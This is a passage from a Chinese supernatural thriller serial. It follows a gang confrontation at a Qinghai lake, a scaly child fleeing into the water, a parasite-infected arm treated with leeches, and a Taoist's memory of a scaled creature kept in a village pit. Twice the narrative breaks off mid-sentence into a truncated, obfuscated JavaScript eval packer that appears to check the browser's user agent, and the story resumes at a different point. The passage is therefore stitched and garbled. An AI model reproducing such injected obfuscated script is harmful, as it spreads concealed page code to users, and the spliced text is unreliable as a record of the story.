说完便向着吊车走去,张波也不好再说什么,朝着一旁的兄弟们招了招手,大家便一拥而上,紧随其后往那边走。 走到近前时,有人认出了佟刚,赶忙爬上吊车驾驶室,跟西瓜皮耳语了几句,西瓜皮这才转过头来,往下看了一眼,然后麻利地下车,朝着佟刚猛跨了几步,两人几乎要撞在一起,佟刚也没有躲,西瓜皮几乎是扑过去的,一把拽住佟刚的衣领子就往后推,佟刚一个没站住,往后连退几步。 “都是你他妈干得好事,我哥要是死了,我一定要你,要冷家陪葬!”西瓜皮简直怒不可遏,癫狂大喊。 说完,甩开胳膊照着佟刚的下颌骨就是一拳,这一拳力道很大,锤下去时佟刚甚至听到了骨头发出的沉闷的声响,其实按照佟刚的身手,西瓜皮完全不是他的对手,但这一拳佟刚没有躲,生生受了下来。 两帮人见打起来了,赶紧都围了过去,生怕自家人吃亏。 张波见佟刚放弃抵抗挨了一拳,便猜出了他的心思和打算,青海这边的事儿还没了,还不能跟西瓜皮他们闹翻,主动挨得这一拳算是一种示好的和缓态度,但此时的西瓜皮就像是疯了似的,完全不受控制,死命甩开胳膊,又准备来一拳,张波急了,赶忙上前去拦。 不过还没等他手伸过去,佟刚已经一把捏住了西瓜皮的胳膊。 “刚刚受你那一拳,是表达我的歉意,但再多的,哥们儿可不受了!再说了,这事儿本来就事关冷马两家,也不是冷家一家的事儿,都是你情我愿,一拍即合,你怪不到我们头上!”佟刚伸出另一只手揉了揉刚刚挨了一圈的下颌骨,面无表情地看着西瓜皮。 说完,用力往后一搡,将西瓜皮生生推出去一米来远,两帮阵营迅速各归各位,各自在西瓜皮和佟刚身后,个个怒目而视,一时间气氛剑拔弩张。 西瓜皮虽然打了佟刚一拳,但仍不解气,大声叫骂:“姓佟的,你就是冷家的一条狗……早晚不得好死……” 西瓜皮口不择言,骂得极其难听。 佟刚也不生气,冷笑着说:“现在来骂冷家,是不是有点忘恩负义啊?你们马家动的什么心思你不知道?你想着靠冷家的钱和势力保命,现在出问题了,来倒打一耙?晚了吧!” 这话本应该说得西瓜皮哑口无言,毕竟那个装着鳞片的文件袋是他们主动送到冷家的,那颗从别人家偷弄出的“蛋”也是他们主动提出要送到荆水,交给冷家做研究的,结果半路出了事儿,他反倒把锅扣在了冷家头上,翻脸不认人了。 但此时的西瓜皮已经完全丧失理智,不管不顾冲着佟刚大声嚷嚷:“我特么就倒打一耙了怎么样?以为你们冷家有钱就了不起啊?我哥要是有个三长两短你给我等着!” 西瓜皮还在喋喋不休骂个不停,佟刚身后的兄弟们都听不下去,佟刚却不怒反笑:“你这么气急败坏,难道你哥能活过来?按我说你要真着急,就赶紧下水里去看看,早点下去,你哥也能早点上来不是?说不定还有一线生机呢!” 这话说得阴阳怪气,噎得西瓜皮血压飙升,他一手捂着脑袋,一手颤抖地指着佟刚:“你……你……你……” 佟刚迎着他的目光,眼神冷峻有力,仿佛在说哥的忍耐心已经到这了,你最好闭嘴! 气氛正僵持,吊车的驾驶室里突然有了动静,司机突然探出窗户焦急地冲下面喊:“哥,下面有动静了!” 一时间,人群的注意力都转移了过去。 约莫半个小时后,吊车吊着已经摔得面目全非的卡车出水,所有人的视线都被牢牢锁定,不禁心惊肉跳想像着车落水时的惨烈画面,吊车司机熟练地操作车辆落地,众人立马围过去,把车里车外都仔仔细细检查了一遍,车里空空如也,没有发现人的踪迹。 紧接着两个穿着潜水服的男人浮出水面,他们扑腾着游到岸边,扯掉了面罩,大口大口喘气,西瓜皮赶忙带人奔了过去。 “怎么样?找到人了吗?”西瓜皮着急地问。 两个男人互看一眼,然后摇了摇头。 西瓜皮的脸上瞬间没了血色,他只感觉脑袋像是被扒开,哗哗往里灌了一桶冰块,冰冷刺痛的感觉顺着后颈、脊柱直达脚心,瞬间天旋地转,周身发冷,腿脚无力,眼见着就要往后倒去,身后的人赶紧去扶。 “大哥!你没事吧!”小弟们惊慌失措。 西瓜皮没有应声,跟灵魂出了窍一般,像是什么也听不到,什么也看不到了,眼神木然地看着天,就这么过了好一会儿,突然甩开众人,愤怒吼道:“什么叫没有找到人!生要见人死要见尸!都特么给我下去找!” 手下小弟都知道西瓜皮情绪不好,赶忙应声:“好!” 说完,一群人赶忙跑回车里拿潜水装备,人太多,装备不够,还剩下的人只能硬着头皮跳进水里,一时之间扑通扑通跟下饺子似的。 佟刚抱着手臂带着一帮人站在后面冷眼旁观,张波看着这样的场面,有点站不住了,于是凑到佟刚身边低声问:“我们要不要派几个人下去意思一下?” 佟刚摇摇头:“他们那边那么多人都下去了,能找到自然找到了,咱们不必多此一举。” 话音刚落,身后有个弟兄突然“咦”了一声,张波循声往后望去,问道:“怎么了?” “那边,那边好像有个小孩子在拍照!”这弟兄一边说一边往一旁指了指。 视线顺着手指方向看去,只见不远处的草丛里露出个圆脑袋来,长得黑乎乎的,根本看不清长相,只能看到一双小胖手高过头顶,拿着手机咔嚓咔嚓拍个不停,像是在拍这头的场面,这片区域青草齐膝,小孩隐在期间稍不注意很难发现。 看起来应该是当地牧民的孩子。 张波往那头走了走,指着小孩吓唬道:“嘿,那个小孩!这里不能拍照!” 听到声音,那小孩像受惊的小鸟,立马把头缩回草丛里,下一秒拔腿就跑,这时所有人才看清,那小孩儿很矮,也就比成年人的膝盖高一点,但跑起来极快,眨眼就在草场上失去了踪迹,就像平白在草场上刮了一场小旋风,瞬间消失不见。 一群人看得嗔目结舌,都以为是自己眼花了,刚刚是真的有个小孩儿在那儿吗?还是说那小孩儿脚下踩着风火轮? 佟刚怪异地看了张波一眼,张波心领神会,原地等着佟刚快步跟上,两人便一道往草丛那边走去,湖边草场,水源充足,草一般长得要比别处青翠繁茂得多,远远看去像是給大地铺上了一层厚实清新的长绒地毯。 两人刚一靠过去,就看到草丛里有一处倒伏的凹窝,这证明刚刚确实有个小孩趴在这里,两人的视线又往远处扫了扫,小孩早已不见了踪影,除了成片绿草在风中摇摆狂舞,就只剩下蓝莹莹的湖面了。 两人盯着凹窝处看了好一会儿,只觉得处处透着古怪,要说具体哪里有古怪,一时又说不出。 佟刚眉头紧锁,心想罢了罢了,也许是自己神经过敏,想多了,于是转身准备往回走,一旁的张波突然视线一顿,说了一句:“那是什么?” 说着就蹲下身去,手在草丛里翻了翻,捡起一块半个手掌大的东西,白色透明质地,沾了一点泥土和绿色的草浆。 “是什么?”佟刚凑了过去。 张波拿起那块东西,翻来覆去地看,末了又凑上去闻了闻,一股腥臭味直冲天灵盖,他顿时像针扎一样,撇过头皱起鼻子,有点不确定地说:“这是鱼鳞?” 听到这话,佟刚心里一惊,面色瞬间凝固,他立马想到了什么,忙接过张波手里的鳞片看了看,鳞片很新鲜,还带着湿润的粘液,应该是刚掉下不久。 怎么别处都没有,就这个凹窝里有?难道刚刚那个小孩……想到这里,他心中一动,连忙冲着张波说:“狗,西瓜皮他们肯定带狗了!快!” 张波立刻心领神会,赶忙小跑着过去跟西瓜皮说了几句,西瓜皮板着脸,压着怒气不时朝佟刚的位置看过来,末了朝着几个小弟招了招手,低声吩咐了几句,小弟们便点点头,领着张波往车边奔过去。 不一会儿,车门打开,几个小弟按住几条毛光顺滑的黑狗,低声在它们耳旁说了些什么,张波拿着“鱼鳞”挨个放到它们的鼻子下闻了闻,之后手一松,几条黑狗便像是开闸的洪水一般窜出去。 它们兴奋异常,迈开腿在绿色的草海中狂奔穿梭,它们嘴巴大张,鼻翼煽动着,敏锐地捕捉住了气味的引导,径直朝着佟刚的方向就去了。 几个小弟和张波急急忙忙跟在后面,一路狂奔。 几条黑狗很聪明,完全听懂了指令,嗖嗖嗖,眨眼就奔到了佟刚的脚边,在草丛的凹窝处东闻闻西嗅嗅,很快就发现了异样,站在原地狂吠不止,还没等张波一行人追上,就又迈腿向远处跑去,最后在距离那个凹窝约五十米的位置,几条狗又同时停了下来,面对着湖面仰着脖子狂吠不止。 佟刚小跑着跟过去,眼睛紧盯着那一处,口中喃喃:“所以,那个小孩跑到水里去了?” 望着蔚蓝的湖面,西瓜皮和佟刚都面色凝重,他们似乎都意识到这个小孩可能跟汽车落水有关,更准确地说,小孩身上的鳞片就是一种符号,一种不属于人类的危险符号。 *** 云南,抚仙湖。 客栈外的公鸡已经叫了好几遍了,这意味着天马上就要亮了。 屋子里气氛沉闷,花姐歪坐在罗汉榻上,沉默地叼着旱烟袋,不时用力吸上一口,烟锅里的红色亮点一闪一闪,白烟从白色玉石的烟嘴中喷薄而出,瞬间腾起,呛鼻子的焦糊烟草味在屋子里迅速弥散开来。 几个年龄跟比花姐还要大的老太婆坐在屋子一侧的太师椅上,还剩下几个跟花姐年龄相仿的老太婆则各自搬个方凳挨在太师椅一旁坐下,她们穿着一水的蓝色褂子,围着黑布围裙,头戴黑色头帕,头发都细致地挽了上去,她们个个面色凝重。 另一侧则坐着几个身穿黑褂黑裤的中年男人,也都低着头沉默不语。 屋子中央放着一张临时搭的单人床,冷毅闭着眼睛,直挺挺地躺在床上,那条受伤的胳膊被绳索在上臂处狠狠勒住,然后垂到一个黝黑油亮的木桶里。 刁濯端坐一旁,沉着脸死盯着冷毅的那条胳膊看。 时间一分一秒过,终于有个老太婆忍不住出声:“这事儿,还是要跟冷家说一下吧,他毕竟是冷家人,要是在我们这头儿出了事,实在不好交代。” 另一个老太婆拿着一张照片,若有所思:“这事儿是要有个交代,但冷祥武的事儿也该有个说法吧……” 她说着扬起手里的照片,指了指照片上的男人。 这是一张横版照片,照片的左侧是个戴着遮阳帽的男人,风将他的遮阳帽掀起,刚好露出脸来,看起来四十左右的年纪,普通的长相,但是嘴角有颗黑痣,长得像极了冷祥武,冷家老爷子的弟弟。 照片的右侧有一个女人,三十出头的年纪,虽然模样稍有改变,但老一辈的刁家人都能一眼认出来,那是刁家一个长辈的孙女,叫刁雅。 一看到这张照片,一群老太婆就叽叽喳喳热烈讨论起来。 “他现在跟刁雅一起在抚仙湖出现,那就证明当年出现在村子里的男人就是他,当年我就觉得那男人像冷祥武,只是年龄各方面都对不上,就没多想……” “当年南簪村出事,都以为他跟刁雅都一起死了,现在看,两人不仅没死,还在抚仙湖活得好好的……要是没这张照片,咱们还被蒙在鼓里呢!” 说起这张照片,实在是机缘巧合,前几天有个住客在自媒体平台发文,还@“在水一方”客栈的官号,描述自己在抚仙湖玩得多开心,住得多舒服,附的九宫格照片里既有抚仙湖的美景,也有客栈的环境照片,小豪负责客栈官方账号的日常维护,无意间看到了这个住客发的照片,原本的照片住客是主角,但在照片角落里的那一男一女立马吸引了小豪的注意,他细看之下,大吃一惊,裁剪后赶忙交给了花姐。 “冷祥武和刁雅为什么躲躲藏藏这么多年不露面呢?” “我估摸着当年屠村的事儿,这俩也逃不了干系,你们想想,当年这个冷祥武刚在村子里住了一段时间,就出事儿了?也太蹊跷了!” “是很奇怪,更奇怪的是,这人都不会老吗?十年前是这样,十年后还是这样?简直活见鬼了!” 一群老太婆七嘴八舌,聊得正热,另一侧的男人们坐不住了,一个额头沟壑起伏,国字脸的男人问道:“阿奶,你们真认清楚了?照片里那人真是冷祥武?说实在的,我现在都在怀疑,如果真是冷祥武,按照年龄来看,跟响水婆的年纪差不多大,得八九十岁了,但那个照片上的人太年轻了,顶多四十出头的样子……实在太诡异了,你们真的看清了吗?会不会认错了?” 听了这话,几个老太婆同时抬起眼皮看他,其中一个语气格外不满:“我们是老了,不是瞎了!” 听了这话国字脸男人瑟缩了一下,忙低下头,不敢说话了。见他吃了瘪,其他几个男人更是大气不敢出了,统统闭嘴坐在一旁。 “咱们年轻的时候,水捞子还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此言一出,屋子里又是一阵沉默,还有人活着?可能吗?虽然当年村子里那些人都死不见尸,但一夜之间血流成河,恨不得把全村房前屋后的土都给染红,那惨状直到今日想起来,所有人都还是忍不住一阵阵颤栗。 花姐慢腾腾从罗汉榻上坐起来,冲着一旁的国字脸吩咐道:“刁雅的事,先别告诉响水婆!等找到了人再说!” “好!” 之后,她目光一转,挪到屋中央的冷毅身上,她啪嗒啪嗒抽了几口咽,随后径直起身走到冷毅身旁,往他胳膊下的木桶里看了一眼,桶底已经积了不少血,她弯腰用烟锅子敲了敲冷毅那条垂下去的胳膊,立马传出铛铛铛的硬响声,听得人心惊。 冷毅下臂的皮肤已经变青,开始呈现出淡淡的纹路来,原本狭长窄小的伤口已经豁开,浓黑的血液从伤口处溢出来,顺着手背一路滑落到桶里,花姐用烟锅子把他的胳膊勾了起来,盯着伤口细细地看,只见一团团的东西在蠕动,下一秒,几个桂圆大小的黑色肉团模样的东西从伤口落下,掉进了桶里,溅起黑色的血浆。 “这一批血蛭都死的差不多了,再换一批试试。”花姐冲着刁濯说。 刁濯点点头,俯下身去,拿起一旁的黑色瓦罐,用镊子从里头夹出一个花生米大小的黑色血蛭,血蛭不停蠕动挣扎,刁濯夹着它小心翼翼放在冷毅的伤口处,血腥味有着十足的吸引力,没有一刻的犹豫,血蛭立马从伤口处钻了进去,不一会儿就没了踪迹。 刁濯一个接一个放,伤口处也不断有圆滚滚的血蛭滚落桶中,新旧交替,生死转瞬,所有人紧盯着伤口处看,却看不出有什么好转的迹象。 “我看啊,根本不好使,快别浪费我精心养的血蛭了。”一个老太婆紧盯着桶底一层血蛭的尸体,一脸心疼惋惜。 眼见这种方法不起作用,花姐转而看向一旁的几个男人,这里头有个叫刁安邦的男人,戴眼镜,看起来有些书生气,四十出头的年纪,头发白了大半,他从小学医,现在在村子里做村医。 “安邦,这还有什么办法救吗?” “我已经给他注射了青霉素钠,也用二氧化氯冲洗过了,现在看来根本没什么作用,大家也都看过伤口里的情况,应该是某种寄生物,而且生命力很顽强,现在他的胳膊已经开始僵硬变色,而且范围一直在扩大,这种情况我实在没见过,只能用物理的方式用绳子勒住了他的胳膊,暂时阻止了寄生物上移,但之后会怎么样,就不知道了……” 花姐沉着脸,接着问:“那你觉得眼下最适合的处理方式是什么?” “这种情况已经超出了我能处理的范围,眼下我只能说,他这条胳膊多半是废了,要趁着寄生物还没转移,赶紧截肢,否则,扩散到全身就晚了……” 一旁的几个老太婆一听到截肢,皆是脊背一凉,忍不住咂舌叹道:“那东西果然是厉害,身上就被划了那么一道口子,就这样了,那要是被咬了,岂不是更不得了了……” “是啊,那玩意儿不知道还有多少,就废弃别墅那一片应该就藏了不少,还不算别的地方……抚仙湖这一带是别想再安宁了。” 几人越说越后怕,对未来充满了无尽的担忧。 花姐背着手,在罗汉榻前走来走去,烟锅子在手里摇啊摇,过了好一阵,终于开口:“想办法联系冷柏山吧,跟他讲讲冷毅的情况,最好能让他亲自来一趟,眼下的情况,不是我们刁家能处理的了。” 听了这话,一时之间,屋子里又开始议论纷纷起来。 “冷柏山会来吗?听说好多年都不出门了,也就每年去青海一趟。” “这不是他儿子嘛,这都不来?” “又不是亲生的,连水捞子都算不上……听说是在青海收养的……” “也是,不过,是人都有感情啊,何况养在身边这么多年。” 议论的声音此起彼伏,听得花姐脑子里嗡嗡的,不自觉眉头紧皱,出声打断:“行了,我们自己的事都没处理好呢,还忙着去操别人的心……” 说完,看向一旁的男人,接着说:“你们几个好好安排下。” 男人们赶忙抬抬屁股,起身应下,正准备出去,又想起刚刚抓到的那东西,有些不安地询问花姐:“那东西怎么办?” 此话一出,所有人的目光都齐刷刷看向花姐。 应该怎么称呼那东西呢?长得怪里怪气,浓密的黑色长毛下还覆着一层鳞,怎们看都不像是这个世界该有的东西,反而像是从阴间来的鬼,看一眼就让人不寒而栗,这东西凶狠狡猾,刁家从发现端倪,到一步步筹划,始终不敢轻举妄动,这还是第一次活捉到这个鬼东西。 花姐没说话,一屁股坐在罗汉榻上,把烟锅子搁在桌上,顺手拿起桌上的手机,手指在屏幕上点了点,屏幕上立刻出现了监控画面,只见画面正中央正是那只被铁钉固定在木板上的怪物,它也许是挣扎的太累了,此时已经疲惫的安静下来,脑袋和四肢都无力地低垂着,浑身的长毛被粘液和血液浸染,胡乱的耷拉着,身上的鳞片也掉了一地。 花姐死死盯着画面,口中低声呢喃:“我倒要看看这个鬼东西能不能变出花来。” 正说着呢,小豪急匆匆从外面推开门,腿还没迈进来,就慌里慌张低声冲着屋里喊:“不好了,出事了!” “怎么了?”花姐脸色很不好。 “有警察来了!” 花姐表情一僵,想着难道是那几个不知所谓的家伙报了警? *** 27. 水葬 荆水,「炁」会所的包厢里。 宋浮尘一首花儿唱罢,有些口干舌燥,端起水杯咕嘟咕嘟喝起来。 一旁的冷柏山还沉浸在他刚刚怪异的唱腔里,一遍遍回味,唱词带着口音,他连蒙带猜地揣摩着唱词的含义,这么揣摩来揣摩去,竟也将意思揣摩出了个大概,细品之下,这首花儿更像是一个浓缩的恐怖故事,一会儿生死轮回、阴曹地府,一会儿怪物袭击,死而复生,听得人毛骨悚然。 刚开始他还莫名其妙,心想这老道干嘛突然开唱,但揣摩了几遍后,他就敏锐地捕捉到了唱词的一些重要信息,水怪、死亡、井、复活……这些内容似乎跟他一直追寻的真相有着某种的联系。 所以,这首花儿并不是宋道长一时兴起随意唱的,而是跟他所关心的“井”有着什么联系?一想到这里,他不禁有些激动,将先前听到“满都哇”这个名字的震惊忘得一干二净。 “所以,这首花儿里的井……”他说着一脸期待地望向身旁的宋浮尘。 宋浮尘伸手往下压了压,示意冷柏山先别着急,继续往下听,扭头间,视线落在面前的水杯上,头顶的一簇灯光刚好打在杯底,现出一层层迷幻光晕,就像那年他在村子里看到的雪日晴天的日头,一层层光晕耀眼夺目,他眯着眼睛听孩子们一遍又一遍地唱着花儿。 “当时我就想啊,这么小的孩子嘴里怎么会唱出这些诡异血腥的词句?” 他手指尖轻轻敲击杯身,低沉着声音,继续讲述。 为此,他还专门跑去问了索南,但索南支支吾吾不愿意多说,像是有什么难言之隐,宋浮尘猜测这可能是村子里不能触碰的禁忌,于是识趣地闭上了嘴,不再多问。 之后日子继续,满都哇和索南仍旧每日早出晚归,虽然宋浮尘也不知道在寒冬腊月、大雪封山的日子里,那俩人到底在忙什么,但总之他们很忙,他也一直恪守着客人的礼节,尽量不闻不问,保持缄默。 白天,他照旧无事可做,只能逗村子里的那群小孩玩,一起打雪仗、玩羊拐骨、烤土豆……反正把在那种环境下能玩儿的都玩儿了个遍,虽然孩子们都不会汉语,但交流这东西,有来有往,口语夹杂着身体语言,时间长了,也就神奇的能够相互明白意思了,没几天这群小孩就被他哄得服服帖帖,每天固定时间就在门口排排站好,等着宋浮尘出门。 夜里,也没什么娱乐活动,早早吃过饭,然后上床睡觉,伴着呼呼的夜风和满都哇的呼噜声入眠。 就这么日复一日,虽然他在村子里待了还不到一个月,但时间慢得像是过去了许久,周遭万物一成不变,唯一有变化的是他发现出门晒太阳的老人越来越少了,有些面熟的老人一连好几天不露面,他担心老人出事,挨个去家里看,发现屋门都关着,但并没有上锁,推门而入,屋里空空如也,人像是凭空消失了一样。 孩子们跟在他屁股后面叽叽喳喳出出进进,活像一只老母鸡带着一群小鸡,宋浮尘比手画脚地询问孩子们老人们的去向,他们一脸天真,随口就说:“死哈俩(死了呗)!” 一个意想不到的答案。 “死了?”宋浮尘一脸震惊,“这么多个都死了?” 孩子们以为他没听懂,推了一个虎头虎脑的小男孩出来,男孩用袖口擦了擦鼻涕,然后吐舌头,翻白眼,脑袋一歪就往后倒地,一整套下来活灵活现地演出死了的模样。 接着,孩子们一齐扭头看向宋浮尘,眼神似乎在说:这下你总该懂了吧?! 宋浮尘震惊地一时说不出话来,明明前几日还见过,怎么就悄无声息地走了呢?还一下子走了这么多个? 震惊过后,他不断尝试说服自己,村子里的老人们本来就年纪大了,去世也是很正常的事,而且不同地区对于死亡的看法不一样,风俗也不一样!以前他就听说可可西里边沿地带的游牧民要是家里死了人,不办丧、不通知外人,不吹打、不哭喊,凌晨天没亮,家人就会悄悄处理,外人甚至不知道家里死了人,主打一个“悄悄地来,悄悄地走”。 也许这个村子里也有这种风俗吧,毕竟对他们来说,宋浮尘也是外人。 所以,满都哇和索南每天早出晚归都是在忙这些吗? 宋浮尘很自然就联想到了这一层,但这些事儿又不能直接问满都哇和索南,之前问他们花儿的的事儿,索南就支支吾吾不愿意说,这事儿他们肯定更不会说了。 既然如此,那就采取迂回战术吧!他低头看了一眼围着他的孩子们,俯身下去,问道:“你们这里,人死了之后会怎么处理?怎么办葬礼?” 孩子们摇摇头,表示没听懂,宋浮尘叹了口气,搜肠刮肚试着用当地方言又问了一遍:“你们这搭,人殁之后咋处理哩?咋发送哩?” 孩子们还是一头雾水,宋浮尘没招了,皱眉想了想,眼睛瞥到那个虎头虎脑的小男孩时,灵光一闪,赶忙拽过小男孩,示意他继续躺在地上闭眼装死,小男孩还以为自己的演技得到了肯定,十分配合,挺着圆滚滚的小肚子,乐呵呵躺在地上配合。 宋浮尘紧接着就热演起来,一会儿低头默哀,一会儿趴在小男孩身上假模假式地痛哭,一会儿又扛起小男孩就往外走,演技流于表面十分做作和滑稽,逗得一旁的孩子们哈哈大笑。 有个长得挺机灵的小姑娘看明白了意思,笑嘻嘻地说:“人哈死了,就喂鱼起撒!” 喂鱼? 宋浮尘愣了一瞬,但随即想到了青海的一些独特的葬俗,比如天葬、水葬,小孩懵懵懂懂,对死亡、葬礼都还没有什么概念,他估摸着她应该说的就是水葬了。 “阿扎哩(在哪里)喂鱼哩?”宋浮尘好奇,又追问。 孩子们昂着头,脑袋摇得像拨浪鼓,齐声说:“晓不得。” 也是,他们还太小,葬礼这种事应该也不会让他们参与,不知道也正常。 宋浮尘走南闯北,各地独特的葬俗也是见过不少,比如苗族的洞葬、壮族的悬棺葬、福建浦源的鱼葬、还有捡骨葬等等,唯独没见过天葬和水葬,一来是这些地方偏远,实在难以到达,二来是当地人普遍有宗教信仰和禁忌,外人一般不能旁观,因此他了解的也很少。 要说这村子也真是命途多舛,本来就没年轻人,现在连老年人也慢慢去了,剩下一群孩子可怎么办咯!宋浮尘想到这里,一脸担忧地看向这群孩子,他们个个天真可爱,笑得无忧无虑,丝毫没有受到死亡事件的影响,反而是宋浮尘忧心忡忡,好一会儿都没缓过来。 经过这事儿一打岔,他哪还有心思陪孩子们玩儿,那个虎头虎脑的小男孩眼色极快,见他脸色不对,以为他不高兴了,立马凑过来,拽住他的衣摆,一脸神秘地说:“带你看尕稀罕(稀奇)的起(去)!” 说完就拉着他往院墙后头跑,其他小孩见状,顿时叽叽喳喳,一脸兴奋地跟上。 这种偏僻的村子,庄廓院后头一般都修着很原始的茅厕,就是在屋后挖一个深坑,上面再搭上几块木板子,四周用土坯墙围上,还会专门在院墙上留道小门,这样方便人进出。 冬天在这种地方上茅房那简直是要命,寒风从下面呼呼吹上来,不光臭气熏天,屁股都给你冻木了,宋浮尘每次上茅房都要忍了又忍,实在憋不住了才去,抖抖索索回来要到炉子旁暖好久才能缓过来。 院墙后雪很深,有一些零散的脚印,小男孩牵着宋浮尘走在前头,尽量贴着墙根,宋浮尘以为这男孩想要上厕所呢,结果一回头,身后还跟了一长串,吓了一跳:“你们阿么都要解手(上厕所)哩?” 孩子们摇头,领头的小男孩赶忙回头,竖起手指头嘘了一声,示意他们别出声,孩子们立马有样学样,都竖起手指嘘起来,然后猫着腰,像小耗子似的慢慢往茅厕的方向走。 宋浮尘满头问号,心想怎么上厕所还不让出声吗?在我们那可没有这种规矩! 正想着呢,茅厕里窒息的臭味来袭,所有人都赶紧捂住了口鼻继续前进,结果到了茅厕门口,小男孩径直绕过,倒腾着小短腿就往茅厕后头走。 嘿,这小家伙不是来上厕所的啊?那他是要干嘛?宋浮尘简直一头雾水。 茅厕一侧是院墙,一侧是高出去一两米的小山包,中间狭长的地带堆放着杂物和过冬的牛粪。 小男孩小手冻得通红,紧拽着宋浮尘不放,走到离牛粪碓两三米的地方突然停下,又回头嘘了一声,然后小心翼翼靠着墙根蹲下,其他小孩见状立马照做,宋浮尘也被小男孩拉拽着蹲下身来,小男孩冲着他指了指耳朵,示意他仔细听。 辽阔的天幕之下,风声呼呼,乌鸦哀叫,即使竖起耳朵听,也再无其他,宋浮尘心想,这个小屁孩不会又想出什么鬼点子要整他吧?上次弄了一只死鸟扔在他的被子里,这次不知道又是什么歪点子,想到这里,他下意识看向了前方的牛粪堆。 突然,一阵金属相碰的清脆声响起,这声音来得猝不及防,他以为自己听错了,又屏住呼吸仔细听了一会儿,确实有声音,听方位,应该是从地下发出来的,而且声音不大,容易被呼呼的北风盖过。 一旁的小孩听到响动,兴奋异常,像麻雀似的探头探脑,恨不得跳起来。 宋浮尘觉得奇怪,声音怎么会从地下传出来?他四下里看了又看,最后索性扒开面前的积雪,趴在地上听,果然,金属的碰撞声更清晰了。 “这是啥响动(声音)撒?”宋浮尘一脸疑惑地看向小男孩。 他确信这小男孩一定知道些什么,否则不会主动带他来这里。 小男孩脸上带着神秘的笑意,蹲着身子一步一挪往牛粪堆靠近,到了牛粪堆前,小男孩停下来朝后头招手,其他小孩儿心领神会,迅速围上来轻手轻脚地搬挪牛粪,看这群小孩儿熟练地相互配合,应该不是第一次来这里玩儿了。 不一会儿,牛粪被清理出了一块,地上现出一个用铁网罩着的入口,看起来像是个地窖。 宋浮尘好奇地探头往里看,其他小孩早有防备,纷纷别过头去,他刚往里看了一眼,还没看清,一股刺鼻的腥臭味突然直冲天灵盖,给他迎头一击,这味儿不光恶心,还辣眼睛,见情况不对,他立马缩回了脑袋,但眼睛已经被刺激地泪水狂飙,简直比洋葱的功效更卓越。 小孩们看他那个狼狈的样子,忍不住咯咯咯笑出了声,也许是受了这笑声的刺激,地窖里的声音也跟着躁动不安起来,金属的碰撞声此起彼伏,小孩们意识到了不对,赶紧闭上了嘴巴。 宋浮尘虽然被那味儿熏得头晕眼花,但立马意识到一个问题——地窖里有活物! 他实在是好奇,又捂住口鼻,眯着眼睛,伸头往下看。地窖很深,里头黑漆漆一片,宋浮尘只觉得里头有东西在动,但具体是什么,实在看不清。 他趴在地上坚持了好一会儿,地下的活物愈发躁动,金属声叮铃哐啷响成一片,就在这时,厚厚的云层被大风吹散,耀眼的太阳光撒向大地,一束光线刚刚好落入深坑中,宋浮尘瞬间看到那活物似乎有着人的四肢,但身上长满了鳞片,在阳光的照耀下散出银白色的寒光。 思绪穿过冰封的往昔,回归现实的身体,听到宋浮尘提到那活物浑身长满鳞片时,冷柏山喉头滚了一下,他立马想到了别墅地下室的玻璃缸里关着的冷仲明,会是跟他一样的情况吗? “那东西是什么?”冷柏山忍不住问。 宋浮尘摇头:“我当时也不知道,是人吗?不像!是什么动物吗?也不像!” 应该说那是他从未见过的生物,强烈的视觉冲击,让他心跳加快,赶忙爬起来,扭头看了看茅房,又抬头看了看眼前的牛粪,突然有些恍然大悟,这个位置设置的真是绝妙,刚好在茅房后头,上面又覆盖着牛粪,茅房里和牛粪的臭味会盖过其他的味道,这样就能神不知鬼不觉了,看来应该是经过精心选址和设计的。 “这到底是什么?”宋浮尘不安地看向孩子们。 小孩们围在地窖口,捂着口鼻,若无其事地往地下看了一眼,然后平淡地说:“人撒,湖里捞着来的人撒!” “人??” 宋浮尘不敢置信地瞪大了眼睛,那怎么可能是人?他明明看到那活物身上长满了鳞! “花儿里的姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他心跳得厉害,不敢靠得太近,等到两人转过一侧的院墙拐角,他才快步跟过去,趴在拐角,探头看着两人的背影朝着地窖方向靠近。 果然!满都哇和索南绕过了茅厕! 视线被遮挡,宋浮尘大着胆子,悄步往那头走了几步,忽然听见两人说话的声音。 “那个疯道士咋弄(怎么办)哩唦?” 是索南的声音。 “等他伤好咧,拉到湖里当肉土去唦!”满都哇满不在乎地回道。 这一问一答,宋浮尘听得真真切切,一瞬间像是被雷劈中,脑子里嗡嗡响,原来他们救他并不是出于热心无私,而是带着“善”的面具,早早做了筹谋打算,只等着他伤好,虽然他不懂“肉土”是什么意思,但结合“到湖里”三个字,就知道绝不会是什么好事,多半还会丢掉性命。 他感到一种深深地恐惧,对人性中恶的恐惧,原本看起来亲善的人一瞬间变成了手段狠辣的阴谋家,不禁有些不寒而栗,他控制不住地浑身轻颤,担心自己被发现,赶紧后退几步,又退回到院墙的拐角处,探头听着那头的动静。 先是挪动牛粪的声音,窸窸窣窣,接着熟悉的金属碰撞声飘了出来,再然后就安静下来。 宋浮尘抖抖索索猫在拐角观察了好一会儿,天空又开始下起了雪,一簇一簇的雪花像柔软的棉花落下,落在脖颈间,瞬间透心凉,连带着整个身体似乎也凉了下来,他不禁打了个寒颤。 “来,接稳当!” 那头突然传来满都哇喘着粗气的声音。 再然后是一阵凌乱的脚步声,踩在雪地上咔哧咔哧作响,过了一会儿,两人像是抬着什么重物,脚步沉重地往拐角这头走来。 宋浮尘赶紧后撤,快步回到屋里,关门、脱衣、上床,闭上了眼睛,假装无事发生。 等了一会儿,满都哇和索南没有回来,他又大着胆子走到门口,把门拉开一条缝往外看,只见满都哇和索南抬着一个东西在风雪中深一脚浅一脚往坡下走,他就那么看着,直到他们越走越远,直接消失在视线里。 他们抬的应该是那个活物吧?这是要去干什么呢? 宋浮尘虽然好奇,但知道到眼下最重要的事是活命,这里是不能再待了。 屋外风雪呼号,他和衣躺在床上盘算,等天亮雪停了就想办法走人。 